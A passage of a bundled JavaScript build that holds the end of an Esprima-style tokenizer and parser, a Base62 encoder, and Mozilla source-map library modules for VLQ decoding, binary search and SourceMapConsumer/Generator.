if (typeof extra.scanRegExp === 'function') {
advance = extra.advance;
scanRegExp = extra.scanRegExp;
}
}
// This is used to modify the delegate.
function extend(object, properties) {
var entry, result = {};
for (entry in object) {
if (object.hasOwnProperty(entry)) {
result[entry] = object[entry];
}
}
for (entry in properties) {
if (properties.hasOwnProperty(entry)) {
result[entry] = properties[entry];
}
}
return result;
}
function tokenize(code, options) {
var toString,
token,
tokens;
toString = String;
if (typeof code !== 'string' && !(code instanceof String)) {
code = toString(code);
}
delegate = SyntaxTreeDelegate;
source = code;
index = 0;
lineNumber = (source.length > 0) ? 1 : 0;
lineStart = 0;
length = source.length;
lookahead = null;
state = {
allowKeyword: true,
allowIn: true,
labelSet: {},
inFunctionBody: false,
inIteration: false,
inSwitch: false
};
extra = {};
// Options matching.
options = options || {};
// Of course we collect tokens here.
options.tokens = true;
extra.tokens = [];
extra.tokenize = true;
// The following two fields are necessary to compute the Regex tokens.
extra.openParenToken = -1;
extra.openCurlyToken = -1;
extra.range = (typeof options.range === 'boolean') && options.range;
extra.loc = (typeof options.loc === 'boolean') && options.loc;
if (typeof options.comment === 'boolean' && options.comment) {
extra.comments = [];
}
if (typeof options.tolerant === 'boolean' && options.tolerant) {
extra.errors = [];
}
if (length > 0) {
if (typeof source[0] === 'undefined') {
// Try first to convert to a string. This is good as fast path
// for old IE which understands string indexing for string
// literals only and not for string object.
if (code instanceof String) {
source = code.valueOf();
}
}
}
patch();
try {
peek();
if (lookahead.type === Token.EOF) {
return extra.tokens;
}
token = lex();
while (lookahead.type !== Token.EOF) {
try {
token = lex();
} catch (lexError) {
token = lookahead;
if (extra.errors) {
extra.errors.push(lexError);
// We have to break on the first error
// to avoid infinite loops.
break;
} else {
throw lexError;
}
}
}
filterTokenLocation();
tokens = extra.tokens;
if (typeof extra.comments !== 'undefined') {
filterCommentLocation();
tokens.comments = extra.comments;
}
if (typeof extra.errors !== 'undefined') {
tokens.errors = extra.errors;
}
} catch (e) {
throw e;
} finally {
unpatch();
extra = {};
}
return tokens;
}
function parse(code, options) {
var program, toString;
toString = String;
if (typeof code !== 'string' && !(code instanceof String)) {
code = toString(code);
}
delegate = SyntaxTreeDelegate;
source = code;
index = 0;
lineNumber = (source.length > 0) ? 1 : 0;
lineStart = 0;
length = source.length;
lookahead = null;
state = {
allowKeyword: false,
allowIn: true,
labelSet: {},
parenthesizedCount: 0,
inFunctionBody: false,
inIteration: false,
inSwitch: false,
inXJSChild: false,
inXJSTag: false,
yieldAllowed: false,
yieldFound: false
};
extra = {};
if (typeof options !== 'undefined') {
extra.range = (typeof options.range === 'boolean') && options.range;
extra.loc = (typeof options.loc === 'boolean') && options.loc;
if (extra.loc && options.source !== null && options.source !== undefined) {
delegate = extend(delegate, {
'postProcess': function (node) {
node.loc.source = toString(options.source);
return node;
}
});
}
if (typeof options.tokens === 'boolean' && options.tokens) {
extra.tokens = [];
}
if (typeof options.comment === 'boolean' && options.comment) {
extra.comments = [];
}
if (typeof options.tolerant === 'boolean' && options.tolerant) {
extra.errors = [];
}
}
if (length > 0) {
if (typeof source[0] === 'undefined') {
// Try first to convert to a string. This is good as fast path
// for old IE which understands string indexing for string
// literals only and not for string object.
if (code instanceof String) {
source = code.valueOf();
}
}
}
patch();
try {
program = parseProgram();
if (typeof extra.comments !== 'undefined') {
filterCommentLocation();
program.comments = extra.comments;
}
if (typeof extra.tokens !== 'undefined') {
filterTokenLocation();
program.tokens = extra.tokens;
}
if (typeof extra.errors !== 'undefined') {
program.errors = extra.errors;
}
if (extra.range || extra.loc) {
program.body = filterGroup(program.body);
}
} catch (e) {
throw e;
} finally {
unpatch();
extra = {};
}
return program;
}
// Sync with *.json manifests.
exports.version = '1.1.0-dev-harmony';
exports.tokenize = tokenize;
exports.parse = parse;
// Deep copy.
exports.Syntax = (function () {
var name, types = {};
if (typeof Object.create === 'function') {
types = Object.create(null);
}
for (name in Syntax) {
if (Syntax.hasOwnProperty(name)) {
types[name] = Syntax[name];
}
}
if (typeof Object.freeze === 'function') {
Object.freeze(types);
}
return types;
}());
}));
/* vim: set sw=4 ts=4 et tw=80 : */
},{}],7:[function(_dereq_,module,exports){
var Base62 = (function (my) {
my.chars = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z"]
my.encode = function(i){
if (i === 0) {return '0'}
var s = ''
while (i > 0) {
s = this.chars[i % 62] + s
i = Math.floor(i/62)
}
return s
};
my.decode = function(a,b,c,d){
for (
b = c = (
a === (/\W|_|^$/.test(a += "") || a)
) - 1;
d = a.charCodeAt(c++);
)
b = b * 62 + d - [, 48, 29, 87][d >> 5];
return b
};
return my;
}({}));
module.exports = Base62
},{}],8:[function(_dereq_,module,exports){
/*
* Copyright 2009-2011 Mozilla Foundation and contributors
* Licensed under the New BSD license. See LICENSE.txt or:
* http://opensource.org/licenses/BSD-3-Clause
*/
exports.SourceMapGenerator = _dereq_('./source-map/source-map-generator').SourceMapGenerator;
exports.SourceMapConsumer = _dereq_('./source-map/source-map-consumer').SourceMapConsumer;
exports.SourceNode = _dereq_('./source-map/source-node').SourceNode;
},{"./source-map/source-map-consumer":13,"./source-map/source-map-generator":14,"./source-map/source-node":15}],9:[function(_dereq_,module,exports){
/* -*- Mode: js; js-indent-level: 2; -*- */
/*
* Copyright 2011 Mozilla Foundation and contributors
* Licensed under the New BSD license. See LICENSE or:
* http://opensource.org/licenses/BSD-3-Clause
*/
if (typeof define !== 'function') {
var define = _dereq_('amdefine')(module, _dereq_);
}
define(function (_dereq_, exports, module) {
var util = _dereq_('./util');
/**
* A data structure which is a combination of an array and a set. Adding a new
* member is O(1), testing for membership is O(1), and finding the index of an
* element is O(1). Removing elements from the set is not supported. Only
* strings are supported for membership.
*/
function ArraySet() {
this._array = [];
this._set = {};
}
/**
* Static method for creating ArraySet instances from an existing array.
*/
ArraySet.fromArray = function ArraySet_fromArray(aArray, aAllowDuplicates) {
var set = new ArraySet();
for (var i = 0, len = aArray.length; i < len; i++) {
set.add(aArray[i], aAllowDuplicates);
}
return set;
};
/**
* Add the given string to this set.
*
* @param String aStr
*/
ArraySet.prototype.add = function ArraySet_add(aStr, aAllowDuplicates) {
var isDuplicate = this.has(aStr);
var idx = this._array.length;
if (!isDuplicate || aAllowDuplicates) {
this._array.push(aStr);
}
if (!isDuplicate) {
this._set[util.toSetString(aStr)] = idx;
}
};
/**
* Is the given string a member of this set?
*
* @param String aStr
*/
ArraySet.prototype.has = function ArraySet_has(aStr) {
return Object.prototype.hasOwnProperty.call(this._set,
util.toSetString(aStr));
};
/**
* What is the index of the given string in the array?
*
* @param String aStr
*/
ArraySet.prototype.indexOf = function ArraySet_indexOf(aStr) {
if (this.has(aStr)) {
return this._set[util.toSetString(aStr)];
}
throw new Error('"' + aStr + '" is not in the set.');
};
/**
* What is the element at the given index?
*
* @param Number aIdx
*/
ArraySet.prototype.at = function ArraySet_at(aIdx) {
if (aIdx >= 0 && aIdx < this._array.length) {
return this._array[aIdx];
}
throw new Error('No element indexed by ' + aIdx);
};
/**
* Returns the array representation of this set (which has the proper indices
* indicated by indexOf). Note that this is a copy of the internal array used
* for storing the members so that no one can mess with internal state.
*/
ArraySet.prototype.toArray = function ArraySet_toArray() {
return this._array.slice();
};
exports.ArraySet = ArraySet;
});
},{"./util":16,"amdefine":17}],10:[function(_dereq_,module,exports){
/* -*- Mode: js; js-indent-level: 2; -*- */
/*
* Copyright 2011 Mozilla Foundation and contributors
* Licensed under the New BSD license. See LICENSE or:
* http://opensource.org/licenses/BSD-3-Clause
*
* Based on the Base 64 VLQ implementation in Closure Compiler:
* https://code.google.com/p/closure-compiler/source/browse/trunk/src/com/google/debugging/sourcemap/Base64VLQ.java
*
* Copyright 2011 The Closure Compiler Authors. All rights reserved.
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above
* copyright notice, this list of conditions and the following
* disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of Google Inc. nor the names of its
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
if (typeof define !== 'function') {
var define = _dereq_('amdefine')(module, _dereq_);
}
define(function (_dereq_, exports, module) {
var base64 = _dereq_('./base64');
// A single base 64 digit can contain 6 bits of data. For the base 64 variable
// length quantities we use in the source map spec, the first bit is the sign,
// the next four bits are the actual value, and the 6th bit is the
// continuation bit. The continuation bit tells us whether there are more
// digits in this value following this digit.
//
// Continuation
// | Sign
// | |
// V V
// 101011
var VLQ_BASE_SHIFT = 5;
// binary: 100000
var VLQ_BASE = 1 << VLQ_BASE_SHIFT;
// binary: 011111
var VLQ_BASE_MASK = VLQ_BASE - 1;
// binary: 100000
var VLQ_CONTINUATION_BIT = VLQ_BASE;
/**
* Converts from a two-complement value to a value where the sign bit is
* is placed in the least significant bit. For example, as decimals:
* 1 becomes 2 (10 binary), -1 becomes 3 (11 binary)
* 2 becomes 4 (100 binary), -2 becomes 5 (101 binary)
*/
function toVLQSigned(aValue) {
return aValue < 0
? ((-aValue) << 1) + 1
: (aValue << 1) + 0;
}
/**
* Converts to a two-complement value from a value where the sign bit is
* is placed in the least significant bit. For example, as decimals:
* 2 (10 binary) becomes 1, 3 (11 binary) becomes -1
* 4 (100 binary) becomes 2, 5 (101 binary) becomes -2
*/
function fromVLQSigned(aValue) {
var isNegative = (aValue & 1) === 1;
var shifted = aValue >> 1;
return isNegative
? -shifted
: shifted;
}
/**
* Returns the base 64 VLQ encoded value.
*/
exports.encode = function base64VLQ_encode(aValue) {
var encoded = "";
var digit;
var vlq = toVLQSigned(aValue);
do {
digit = vlq & VLQ_BASE_MASK;
vlq >>>= VLQ_BASE_SHIFT;
if (vlq > 0) {
// There are still more digits in this value, so we must make sure the
// continuation bit is marked.
digit |= VLQ_CONTINUATION_BIT;
}
encoded += base64.encode(digit);
} while (vlq > 0);
return encoded;
};
/**
* Decodes the next base 64 VLQ value from the given string and returns the
* value and the rest of the string.
*/
exports.decode = function base64VLQ_decode(aStr) {
var i = 0;
var strLen = aStr.length;
var result = 0;
var shift = 0;
var continuation, digit;
do {
if (i >= strLen) {
throw new Error("Expected more digits in base 64 VLQ value.");
}
digit = base64.decode(aStr.charAt(i++));
continuation = !!(digit & VLQ_CONTINUATION_BIT);
digit &= VLQ_BASE_MASK;
result = result + (digit << shift);
shift += VLQ_BASE_SHIFT;
} while (continuation);
return {
value: fromVLQSigned(result),
rest: aStr.slice(i)
};
};
});
},{"./base64":11,"amdefine":17}],11:[function(_dereq_,module,exports){
/* -*- Mode: js; js-indent-level: 2; -*- */
/*
* Copyright 2011 Mozilla Foundation and contributors
* Licensed under the New BSD license. See LICENSE or:
* http://opensource.org/licenses/BSD-3-Clause
*/
if (typeof define !== 'function') {
var define = _dereq_('amdefine')(module, _dereq_);
}
define(function (_dereq_, exports, module) {
var charToIntMap = {};
var intToCharMap = {};
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
.split('')
.forEach(function (ch, index) {
charToIntMap[ch] = index;
intToCharMap[index] = ch;
});
/**
* Encode an integer in the range of 0 to 63 to a single base 64 digit.
*/
exports.encode = function base64_encode(aNumber) {
if (aNumber in intToCharMap) {
return intToCharMap[aNumber];
}
throw new TypeError("Must be between 0 and 63: " + aNumber);
};
/**
* Decode a single base 64 digit to an integer.
*/
exports.decode = function base64_decode(aChar) {
if (aChar in charToIntMap) {
return charToIntMap[aChar];
}
throw new TypeError("Not a valid base 64 digit: " + aChar);
};
});
},{"amdefine":17}],12:[function(_dereq_,module,exports){
/* -*- Mode: js; js-indent-level: 2; -*- */
/*
* Copyright 2011 Mozilla Foundation and contributors
* Licensed under the New BSD license. See LICENSE or:
* http://opensource.org/licenses/BSD-3-Clause
*/
if (typeof define !== 'function') {
var define = _dereq_('amdefine')(module, _dereq_);
}
define(function (_dereq_, exports, module) {
/**
* Recursive implementation of binary search.
*
* @param aLow Indices here and lower do not contain the needle.
* @param aHigh Indices here and higher do not contain the needle.
* @param aNeedle The element being searched for.
* @param aHaystack The non-empty array being searched.
* @param aCompare Function which takes two elements and returns -1, 0, or 1.
*/
function recursiveSearch(aLow, aHigh, aNeedle, aHaystack, aCompare) {
// This function terminates when one of the following is true:
//
// 1. We find the exact element we are looking for.
//
// 2. We did not find the exact element, but we can return the next
// closest element that is less than that element.
//
// 3. We did not find the exact element, and there is no next-closest
// element which is less than the one we are searching for, so we
// return null.
var mid = Math.floor((aHigh - aLow) / 2) + aLow;
var cmp = aCompare(aNeedle, aHaystack[mid], true);
if (cmp === 0) {
// Found the element we are looking for.
return aHaystack[mid];
}
else if (cmp > 0) {
// aHaystack[mid] is greater than our needle.
if (aHigh - mid > 1) {
// The element is in the upper half.
return recursiveSearch(mid, aHigh, aNeedle, aHaystack, aCompare);
}
// We did not find an exact match, return the next closest one
// (termination case 2).
return aHaystack[mid];
}
else {
// aHaystack[mid] is less than our needle.
if (mid - aLow > 1) {
// The element is in the lower half.
return recursiveSearch(aLow, mid, aNeedle, aHaystack, aCompare);
}
// The exact needle element was not found in this haystack. Determine if
// we are in termination case (2) or (3) and return the appropriate thing.
return aLow < 0
? null
: aHaystack[aLow];
}
}
/**
* This is an implementation of binary search which will always try and return
* the next lowest value checked if there is no exact hit. This is because
* mappings between original and generated line/col pairs are single points,
* and there is an implicit region between each of them, so a miss just means
* that you aren't on the very start of a region.
*
* @param aNeedle The element you are looking for.
* @param aHaystack The array that is being searched.
* @param aCompare A function which takes the needle and an element in the
* array and returns -1, 0, or 1 depending on whether the needle is less
* than, equal to, or greater than the element, respectively.
*/
exports.search = function search(aNeedle, aHaystack, aCompare) {
return aHaystack.length > 0
? recursiveSearch(-1, aHaystack.length, aNeedle, aHaystack, aCompare)
: null;
};
});
},{"amdefine":17}],13:[function(_dereq_,module,exports){
/* -*- Mode: js; js-indent-level: 2; -*- */
/*
* Copyright 2011 Mozilla Foundation and contributors
* Licensed under the New BSD license. See LICENSE or:
* http://opensource.org/licenses/BSD-3-Clause
*/
if (typeof define !== 'function') {
var define = _dereq_('amdefine')(module, _dereq_);
}
define(function (_dereq_, exports, module) {
var util = _dereq_('./util');
var binarySearch = _dereq_('./binary-search');
var ArraySet = _dereq_('./array-set').ArraySet;
var base64VLQ = _dereq_('./base64-vlq');
/**
* A SourceMapConsumer instance represents a parsed source map which we can
* query for information about the original file positions by giving it a file
* position in the generated source.
*
* The only parameter is the raw source map (either as a JSON string, or
* already parsed to an object). According to the spec, source maps have the
* following attributes:
*
* - version: Which version of the source map spec this map is following.
* - sources: An array of URLs to the original source files.
* - names: An array of identifiers which can be referrenced by individual mappings.
* - sourceRoot: Optional. The URL root from which all sources are relative.
* - sourcesContent: Optional. An array of contents of the original source files.
* - mappings: A string of base64 VLQs which contain the actual mappings.
* - file: The generated file this source map is associated with.
*
* Here is an example source map, taken from the source map spec[0]:
*
* {
* version : 3,
* file: "out.js",
* sourceRoot : "",
* sources: ["foo.js", "bar.js"],
* names: ["src", "maps", "are", "fun"],
* mappings: "AA,AB;;ABCDE;"
* }
*
* [0]: https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k/edit?pli=1#
*/
function SourceMapConsumer(aSourceMap) {
var sourceMap = aSourceMap;
if (typeof aSourceMap === 'string') {
sourceMap = JSON.parse(aSourceMap.replace(/^\)\]\}'/, ''));
}
var version = util.getArg(sourceMap, 'version');
var sources = util.getArg(sourceMap, 'sources');
// Sass 3.3 leaves out the 'names' array, so we deviate from the spec (which
// requires the array) to play nice here.
var names = util.getArg(sourceMap, 'names', []);
var sourceRoot = util.getArg(sourceMap, 'sourceRoot', null);
var sourcesContent = util.getArg(sourceMap, 'sourcesContent', null);
var mappings = util.getArg(sourceMap, 'mappings');
var file = util.getArg(sourceMap, 'file', null);
// Once again, Sass deviates from the spec and supplies the version as a
// string rather than a number, so we use loose equality checking here.
if (version != this._version) {
throw new Error('Unsupported version: ' + version);
}
// Pass `true` below to allow duplicate names and sources. While source maps
// are intended to be compressed and deduplicated, the TypeScript compiler
// sometimes generates source maps with duplicates in them. See Github issue
// #72 and bugzil.la/889492.
this._names = ArraySet.fromArray(names, true);
this._sources = ArraySet.fromArray(sources, true);
this.sourceRoot = sourceRoot;
this.sourcesContent = sourcesContent;
this._mappings = mappings;
this.file = file;
}
/**
* Create a SourceMapConsumer from a SourceMapGenerator.
*
* @param SourceMapGenerator aSourceMap
* The source map that will be consumed.
* @returns SourceMapConsumer
*/
SourceMapConsumer.fromSourceMap =
function SourceMapConsumer_fromSourceMap(aSourceMap) {
var smc = Object.create(SourceMapConsumer.prototype);
smc._names = ArraySet.fromArray(aSourceMap._names.toArray(), true);
smc._sources = ArraySet.fromArray(aSourceMap._sources.toArray(), true);
smc.sourceRoot = aSourceMap._sourceRoot;
smc.sourcesContent = aSourceMap._generateSourcesContent(smc._sources.toArray(),
smc.sourceRoot);
smc.file = aSourceMap._file;
smc.__generatedMappings = aSourceMap._mappings.slice()
.sort(util.compareByGeneratedPositions);
smc.__originalMappings = aSourceMap._mappings.slice()
.sort(util.compareByOriginalPositions);
return smc;
};
/**
* The version of the source mapping spec that we are consuming.
*/
SourceMapConsumer.prototype._version = 3;
/**
* The list of original sources.
*/
Object.defineProperty(SourceMapConsumer.prototype, 'sources', {
get: function () {
return this._sources.toArray().map(function (s) {
return this.sourceRoot ? util.join(this.sourceRoot, s) : s;
}, this);
}
});
// `__generatedMappings` and `__originalMappings` are arrays that hold the
// parsed mapping coordinates from the source map's "mappings" attribute. They
// are lazily instantiated, accessed via the `_generatedMappings` and
// `_originalMappings` getters respectively, and we only parse the mappings
// and create these arrays once queried for a source location. We jump through
// these hoops because there can be many thousands of mappings, and parsing
// them is expensive, so we only want to do it if we must.
//
// Each object in the arrays is of the form:
//
// {
// generatedLine: The line number in the generated code,
// generatedColumn: The column number in the generated code,
// source: The path to the original source file that generated this
// chunk of code,
// originalLine: The line number in the original source that
// corresponds to this chunk of generated code,
// originalColumn: The column number in the original source that
// corresponds to this chunk of generated code,
// name: The name of the original symbol which generated this chunk of
// code.
// }
//
// All properties except for `generatedLine` and `generatedColumn` can be
// `null`.
//
// `_generatedMappings` is ordered by the generated positions.
//
// `_originalMappings` is ordered by the original positions.
SourceMapConsumer.prototype.__generatedMappings = null;
Object.defineProperty(SourceMapConsumer.prototype, '_generatedMappings', {
get: function () {
if (!this.__generatedMappings) {
this.__generatedMappings = [];
this.__originalMappings = [];
this._parseMappings(this._mappings, this.sourceRoot);
}
return this.__generatedMappings;
}
});
SourceMapConsumer.prototype.__originalMappings = null;
Object.defineProperty(SourceMapConsumer.prototype, '_originalMappings', {
get: function () {
if (!this.__originalMappings) {
this.__generatedMappings = [];
this.__originalMappings = [];
this._parseMappings(this._mappings, this.sourceRoot);
}
return this.__originalMappings;
}
});
/**
* Parse the mappings in a string in to a data structure which we can easily
* query (the ordered arrays in the `this.__generatedMappings` and
* `this.__originalMappings` properties).
*/
SourceMapConsumer.prototype._parseMappings =
function SourceMapConsumer_parseMappings(aStr, aSourceRoot) {
var generatedLine = 1;
var previousGeneratedColumn = 0;
var previousOriginalLine = 0;
var previousOriginalColumn = 0;
var previousSource = 0;
var previousName = 0;
var mappingSeparator = /^[,;]/;
var str = aStr;
var mapping;
var temp;
while (str.length > 0) {
if (str.charAt(0) === ';') {
generatedLine++;
str = str.slice(1);
previousGeneratedColumn = 0;
}
else if (str.charAt(0) === ',') {
str = str.slice(1);
}
else {
mapping = {};
mapping.generatedLine = generatedLine;
// Generated column.
temp = base64VLQ.decode(str);
mapping.generatedColumn = previousGeneratedColumn + temp.value;
previousGeneratedColumn = mapping.generatedColumn;
str = temp.rest;
if (str.length > 0 && !mappingSeparator.test(str.charAt(0))) {
// Original source.
temp = base64VLQ.decode(str);
mapping.source = this._sources.at(previousSource + temp.value);
previousSource += temp.value;
str = temp.rest;
if (str.length === 0 || mappingSeparator.test(str.charAt(0))) {
throw new Error('Found a source, but no line and column');
}
// Original line.
temp = base64VLQ.decode(str);
mapping.originalLine = previousOriginalLine + temp.value;
previousOriginalLine = mapping.originalLine;
// Lines are stored 0-based
mapping.originalLine += 1;
str = temp.rest;
if (str.length === 0 || mappingSeparator.test(str.charAt(0))) {
throw new Error('Found a source and line, but no column');
}
// Original column.
temp = base64VLQ.decode(str);
mapping.originalColumn = previousOriginalColumn + temp.value;
previousOriginalColumn = mapping.originalColumn;
str = temp.rest;
if (str.length > 0 && !mappingSeparator.test(str.charAt(0))) {
// Original name.
temp = base64VLQ.decode(str);
mapping.name = this._names.at(previousName + temp.value);
previousName += temp.value;
str = temp.rest;
}
}
this.__generatedMappings.push(mapping);
if (typeof mapping.originalLine === 'number') {
this.__originalMappings.push(mapping);
}
}
}
this.__originalMappings.sort(util.compareByOriginalPositions);
};
/**
* Find the mapping that best matches the hypothetical "needle" mapping that
* we are searching for in the given "haystack" of mappings.
*/
SourceMapConsumer.prototype._findMapping =
function SourceMapConsumer_findMapping(aNeedle, aMappings, aLineName,
aColumnName, aComparator) {
// To return the position we are searching for, we must first find the
// mapping for the given position and then return the opposite position it
// points to. Because the mappings are sorted, we can use binary search to
// find the best mapping.
if (aNeedle[aLineName] <= 0) {
throw new TypeError('Line must be greater than or equal to 1, got '
+ aNeedle[aLineName]);
}
if (aNeedle[aColumnName] < 0) {
throw new TypeError('Column must be greater than or equal to 0, got '
+ aNeedle[aColumnName]);
}
return binarySearch.search(aNeedle, aMappings, aComparator);
};
/**
* Returns the original source, line, and column information for the generated
* source's line and column positions provided. The only argument is an object
* with the following properties:
*
* - line: The line number in the generated source.
* - column: The column number in the generated source.
*
* and an object is returned with the following properties:
*
* - source: The original source file, or null.
* - line: The line number in the original source, or null.
* - column: The column number in the original source, or null.
* - name: The original identifier, or null.
*/
SourceMapConsumer.prototype.originalPositionFor =
function SourceMapConsumer_originalPositionFor(aArgs) {
var needle = {
generatedLine: util.getArg(aArgs, 'line'),
generatedColumn: util.getArg(aArgs, 'column')
};
var mapping = this._findMapping(needle,
this._generatedMappings,
"generatedLine",
"generatedColumn",
util.compareByGeneratedPositions);
if (mapping) {
var source = util.getArg(mapping, 'source', null);
if (source && this.sourceRoot) {
source = util.join(this.sourceRoot, source);
}
return {
source: source,
line: util.getArg(mapping, 'originalLine', null),
column: util.getArg(mapping, 'originalColumn', null),
name: util.getArg(mapping, 'name', null)
};
}
return {
source: null,
line: null,
column: null,
name: null
};
};
/**
* Returns the original source content. The only argument is the url of the
* original source file. Returns null if no original source content is
* availible.
*/
SourceMapConsumer.prototype.sourceContentFor =
function SourceMapConsumer_sourceContentFor(aSource) {
if (!this.sourcesContent) {
return null;
}
if (this.sourceRoot) {
aSource = util.relative(this.sourceRoot, aSource);
}
if (this._sources.has(aSource)) {
return this.sourcesContent[this._sources.indexOf(aSource)];
}
var url;
if (this.sourceRoot
&& (url = util.urlParse(this.sourceRoot))) {
// XXX: file:// URIs and absolute paths lead to unexpected behavior for
// many users. We can help them out when they expect file:// URIs to
// behave like it would if they were running a local HTTP server. See
// https://bugzilla.mozilla.org/show_bug.cgi?id=885597.
var fileUriAbsPath = aSource.replace(/^file:\/\//, "");
if (url.scheme == "file"
&& this._sources.has(fileUriAbsPath)) {
return this.sourcesContent[this._sources.indexOf(fileUriAbsPath)]
}
if ((!url.path || url.path == "/")
&& this._sources.has("/" + aSource)) {
return this.sourcesContent[this._sources.indexOf("/" + aSource)];
}
}
throw new Error('"' + aSource + '" is not in the SourceMap.');
};
/**
* Returns the generated line and column information for the original source,
* line, and column positions provided. The only argument is an object with
* the following properties:
*
* - source: The filename of the original source.
* - line: The line number in the original source.
* - column: The column number in the original source.
*
* and an object is returned with the following properties:
*
* - line: The line number in the generated source, or null.
* - column: The column number in the generated source, or null.
*/
SourceMapConsumer.prototype.generatedPositionFor =
function SourceMapConsumer_generatedPositionFor(aArgs) {
var needle = {
source: util.getArg(aArgs, 'source'),
originalLine: util.getArg(aArgs, 'line'),
originalColumn: util.getArg(aArgs, 'column')
};
if (this.sourceRoot) {
needle.source = util.relative(this.sourceRoot, needle.source);
}
var mapping = this._findMapping(needle,
this._originalMappings,
"originalLine",
"originalColumn",
util.compareByOriginalPositions);
if (mapping) {
return {
line: util.getArg(mapping, 'generatedLine', null),
column: util.getArg(mapping, 'generatedColumn', null)
};
}
return {
line: null,
column: null
};
};
SourceMapConsumer.GENERATED_ORDER = 1;
SourceMapConsumer.ORIGINAL_ORDER = 2;
/**
* Iterate over each mapping between an original source/line/column and a
* generated line/column in this source map.
*
* @param Function aCallback
* The function that is called with each mapping.
* @param Object aContext
* Optional. If specified, this object will be the value of `this` every
* time that `aCallback` is called.
* @param aOrder
* Either `SourceMapConsumer.GENERATED_ORDER` or
* `SourceMapConsumer.ORIGINAL_ORDER`. Specifies whether you want to
* iterate over the mappings sorted by the generated file's line/column
* order or the original's source/line/column order, respectively. Defaults to
* `SourceMapConsumer.GENERATED_ORDER`.
*/
SourceMapConsumer.prototype.eachMapping =
function SourceMapConsumer_eachMapping(aCallback, aContext, aOrder) {
var context = aContext || null;
var order = aOrder || SourceMapConsumer.GENERATED_ORDER;
var mappings;
switch (order) {
case SourceMapConsumer.GENERATED_ORDER:
mappings = this._generatedMappings;
break;
case SourceMapConsumer.ORIGINAL_ORDER:
mappings = this._originalMappings;
break;
default:
throw new Error("Unknown order of iteration.");
}
var sourceRoot = this.sourceRoot;
mappings.map(function (mapping) {
var source = mapping.source;
if (source && sourceRoot) {
source = util.join(sourceRoot, source);
}
return {
source: source,
generatedLine: mapping.generatedLine,
generatedColumn: mapping.generatedColumn,
originalLine: mapping.originalLine,
originalColumn: mapping.originalColumn,
name: mapping.name
};
}).forEach(aCallback, context);
};
exports.SourceMapConsumer = SourceMapConsumer;
});
},{"./array-set":9,"./base64-vlq":10,"./binary-search":12,"./util":16,"amdefine":17}],14:[function(_dereq_,module,exports){
/* -*- Mode: js; js-indent-level: 2; -*- */
/*
* Copyright 2011 Mozilla Foundation and contributors
* Licensed under the New BSD license. See LICENSE or:
* http://opensource.org/licenses/BSD-3-Clause
*/
if (typeof define !== 'function') {
var define = _dereq_('amdefine')(module, _dereq_);
}
define(function (_dereq_, exports, module) {
var base64VLQ = _dereq_('./base64-vlq');
var util = _dereq_('./util');
var ArraySet = _dereq_('./array-set').ArraySet;
/**
* An instance of the SourceMapGenerator represents a source map which is
* being built incrementally. To create a new one, you must pass an object
* with the following properties:
*
* - file: The filename of the generated source.
* - sourceRoot: An optional root for all URLs in this source map.
*/
function SourceMapGenerator(aArgs) {
this._file = util.getArg(aArgs, 'file');
this._sourceRoot = util.getArg(aArgs, 'sourceRoot', null);
this._sources = new ArraySet();
this._names = new ArraySet();
this._mappings = [];
this._sourcesContents = null;
}
SourceMapGenerator.prototype._version = 3;
/**
* Creates a new SourceMapGenerator based on a SourceMapConsumer
*
* @param aSourceMapConsumer The SourceMap.
*/
SourceMapGenerator.fromSourceMap =
function SourceMapGenerator_fromSourceMap(aSourceMapConsumer) {
var sourceRoot = aSourceMapConsumer.sourceRoot;
var generator = new SourceMapGenerator({
file: aSourceMapConsumer.file,
sourceRoot: sourceRoot
});
aSourceMapConsumer.eachMapping(function (mapping) {
var newMapping = {
generated: {
line: mapping.generatedLine,
column: mapping.generatedColumn
}
};
if (mapping.source) {
newMapping.source = mapping.source;
if (sourceRoot) {
newMapping.source = util.relative(sourceRoot, newMapping.source);
}
newMapping.original = {
line: mapping.originalLine,
column: mapping.originalColumn
};
if (mapping.name) {
newMapping.name = mapping.name;
}
}
generator.addMapping(newMapping);
});
aSourceMapConsumer.sources.forEach(function (sourceFile) {
var content = aSourceMapConsumer.sourceContentFor(sourceFile);
if (content) {
generator.setSourceContent(sourceFile, content);
}
});
return generator;
};
/**
* Add a single mapping from original source line and column to the generated
* source's line and column for this source map being created. The mapping
* object should have the following properties:
*
* - generated: An object with the generated line and column positions.
* - original: An object with the original line and column positions.
* - source: The original source file (relative to the sourceRoot).
* - name: An optional original token name for this mapping.
*/
SourceMapGenerator.prototype.addMapping =
function SourceMapGenerator_addMapping(aArgs) {
var generated = util.getArg(aArgs, 'generated');
var original = util.getArg(aArgs, 'original', null);
var source = util.getArg(aArgs, 'source', null);
